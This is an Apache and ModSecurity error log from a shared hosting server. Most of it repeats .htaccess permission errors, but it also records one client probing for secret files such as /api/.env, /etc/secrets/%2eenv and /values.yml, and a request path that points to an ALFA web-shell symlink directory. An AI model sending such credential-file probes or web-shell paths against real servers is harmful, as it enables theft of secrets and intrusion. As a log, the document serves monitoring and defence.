[Sat Oct 24 15:31:52.757043 2026] [security2:error] [pid 2692991:tid 2692991] [client 45.138.12.49:59776] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/etc/secrets/%2eenv"] [unique_id "at0HqCo0rrWLOv6eUS8HtAAAABw"]
[Sat Oct 24 15:31:54.078059 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40768] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.078456 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40772] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.080624 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40776] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.081403 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40778] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.081659 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40780] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.083988 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40770] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.086645 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40786] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.089956 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40784] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.097882 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40800] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.122604 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40806] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.128466 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40802] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.146485 2026] [core:error] [pid 2692998:tid 2692998] (13)Permission denied: [client 3.218.35.239:36885] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 15:31:54.155822 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40804] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.156060 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40782] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.156252 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40834] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.253245 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:40842] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.300967 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:41172] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.406425 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:41174] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.502237 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:41180] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.542466 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:41182] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.603266 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:41184] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.639808 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:41186] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.652589 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:41192] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.652592 2026] [core:crit] [pid 2692978:tid 2692978] (13)Permission denied: [client 45.138.12.49:41190] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.653887 2026] [core:crit] [pid 2692980:tid 2692980] (13)Permission denied: [client 45.138.12.49:41194] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.653937 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 45.138.12.49:41250] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.836034 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:41342] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.836475 2026] [core:crit] [pid 2692998:tid 2692998] (13)Permission denied: [client 45.138.12.49:41340] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.851205 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:41352] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.864839 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:41346] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.867128 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:41358] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.876580 2026] [core:crit] [pid 2692980:tid 2692980] (13)Permission denied: [client 45.138.12.49:41356] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:54.968745 2026] [core:crit] [pid 2692978:tid 2692978] (13)Permission denied: [client 45.138.12.49:41402] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:55.268478 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 45.138.12.49:41486] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:59.434759 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:42062] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:59.690289 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:42120] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:59.754268 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:42146] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:31:59.868873 2026] [security2:error] [pid 2692980:tid 2692980] [client 45.138.12.49:60564] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at0Hr7JBOvY8byt91b_yvgAAABg"]
[Sat Oct 24 15:31:59.869132 2026] [security2:error] [pid 2692980:tid 2692980] [client 45.138.12.49:60564] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at0Hr7JBOvY8byt91b_yvgAAABg"]
[Sat Oct 24 15:31:59.869435 2026] [security2:error] [pid 2692980:tid 2692980] [client 45.138.12.49:60564] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at0Hr7JBOvY8byt91b_yvgAAABg"]
[Sat Oct 24 15:32:00.044088 2026] [core:crit] [pid 2692979:tid 2692979] (13)Permission denied: [client 45.138.12.49:42208] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.053192 2026] [core:crit] [pid 2692986:tid 2692986] (13)Permission denied: [client 45.138.12.49:42210] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.064324 2026] [core:crit] [pid 2692985:tid 2692985] (13)Permission denied: [client 45.138.12.49:42214] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.142097 2026] [core:crit] [pid 2684559:tid 2684559] (13)Permission denied: [client 45.138.12.49:42240] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.147597 2026] [core:crit] [pid 2692992:tid 2692992] (13)Permission denied: [client 45.138.12.49:42244] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.158209 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.138.12.49:42242] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.161710 2026] [core:crit] [pid 2692917:tid 2692917] (13)Permission denied: [client 45.138.12.49:42246] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.190635 2026] [core:crit] [pid 2684557:tid 2684557] (13)Permission denied: [client 45.138.12.49:42254] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:00.332768 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 45.138.12.49:42286] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:01.234809 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:42602] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:02.443839 2026] [core:crit] [pid 2692919:tid 2692919] (13)Permission denied: [client 45.138.12.49:43122] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:02.616340 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43182] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:02.653597 2026] [core:crit] [pid 2684559:tid 2684559] (13)Permission denied: [client 45.138.12.49:43200] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:02.655546 2026] [core:crit] [pid 2692992:tid 2692992] (13)Permission denied: [client 45.138.12.49:43202] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:02.726258 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43214] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:02.786830 2026] [security2:error] [pid 2684557:tid 2684557] [client 45.138.12.49:32840] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/values.yml"] [unique_id "at0HsiLwkWVVQiyMc7N8UAAAAAs"]
[Sat Oct 24 15:32:02.786889 2026] [security2:error] [pid 2684557:tid 2684557] [client 45.138.12.49:32840] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/values.yml"] [unique_id "at0HsiLwkWVVQiyMc7N8UAAAAAs"]
[Sat Oct 24 15:32:02.845932 2026] [core:crit] [pid 2678927:tid 2678927] (13)Permission denied: [client 45.138.12.49:43250] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.079127 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43334] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.256697 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43362] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.336953 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43360] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.353736 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43372] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.435509 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43364] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.450061 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43376] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.531785 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43374] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.545472 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43380] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.626368 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43358] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:03.642110 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43398] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:04.613166 2026] [core:crit] [pid 2692977:tid 2692977] (13)Permission denied: [client 45.138.12.49:43804] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:04.776832 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43868] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:04.821495 2026] [core:crit] [pid 2693013:tid 2693013] (13)Permission denied: [client 45.138.12.49:43886] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:04.876518 2026] [core:crit] [pid 2692991:tid 2692991] (13)Permission denied: [client 45.138.12.49:43890] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:04.928391 2026] [security2:error] [pid 2692992:tid 2692992] [client 45.138.12.49:32892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at0HtCToq-X2roQ2XtUiRQAAAB0"]
[Sat Oct 24 15:32:04.929112 2026] [security2:error] [pid 2692992:tid 2692992] [client 45.138.12.49:32892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at0HtCToq-X2roQ2XtUiRQAAAB0"]
[Sat Oct 24 15:32:04.929360 2026] [core:crit] [pid 2693013:tid 2693013] (13)Permission denied: [client 45.138.12.49:43898] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:04.929565 2026] [security2:error] [pid 2692992:tid 2692992] [client 45.138.12.49:32892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at0HtCToq-X2roQ2XtUiRQAAAB0"]
[Sat Oct 24 15:32:05.173708 2026] [core:crit] [pid 2693015:tid 2693015] (13)Permission denied: [client 45.138.12.49:43984] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:05.942405 2026] [security2:error] [pid 2692977:tid 2692977] [client 45.138.12.49:33242] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at0HtUOJVIwr-6RxmfI79wAAABQ"]
[Sat Oct 24 15:32:05.942445 2026] [security2:error] [pid 2692977:tid 2692977] [client 45.138.12.49:33242] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at0HtUOJVIwr-6RxmfI79wAAABQ"]
[Sat Oct 24 15:32:07.066327 2026] [core:crit] [pid 2693028:tid 2693028] (13)Permission denied: [client 45.138.12.49:43982] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.068261 2026] [core:crit] [pid 2693028:tid 2693028] (13)Permission denied: [client 45.138.12.49:43992] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.070014 2026] [core:crit] [pid 2693028:tid 2693028] (13)Permission denied: [client 45.138.12.49:44004] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.071603 2026] [core:crit] [pid 2693028:tid 2693028] (13)Permission denied: [client 45.138.12.49:43960] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.073417 2026] [core:crit] [pid 2693028:tid 2693028] (13)Permission denied: [client 45.138.12.49:43966] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.093151 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:43986] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.093576 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:44010] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.093827 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:44032] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.094028 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:44228] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.106988 2026] [ssl:error] [pid 2693031:tid 2693031] (70014)End of file found: [client 18.210.58.238:62124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:32:07.114755 2026] [core:crit] [pid 2693031:tid 2693031] (13)Permission denied: [client 45.138.12.49:44264] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.188005 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:44366] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.644767 2026] [core:crit] [pid 2693032:tid 2693032] (13)Permission denied: [client 45.138.12.49:44632] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.669895 2026] [core:crit] [pid 2693034:tid 2693034] (13)Permission denied: [client 45.138.12.49:44634] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.704833 2026] [core:crit] [pid 2692916:tid 2692916] (13)Permission denied: [client 45.138.12.49:44642] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:32:07.742259 2026] [core:crit] [pid 2693032:tid 2693032] (13)Permission denied: [client 45.138.12.49:44648] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
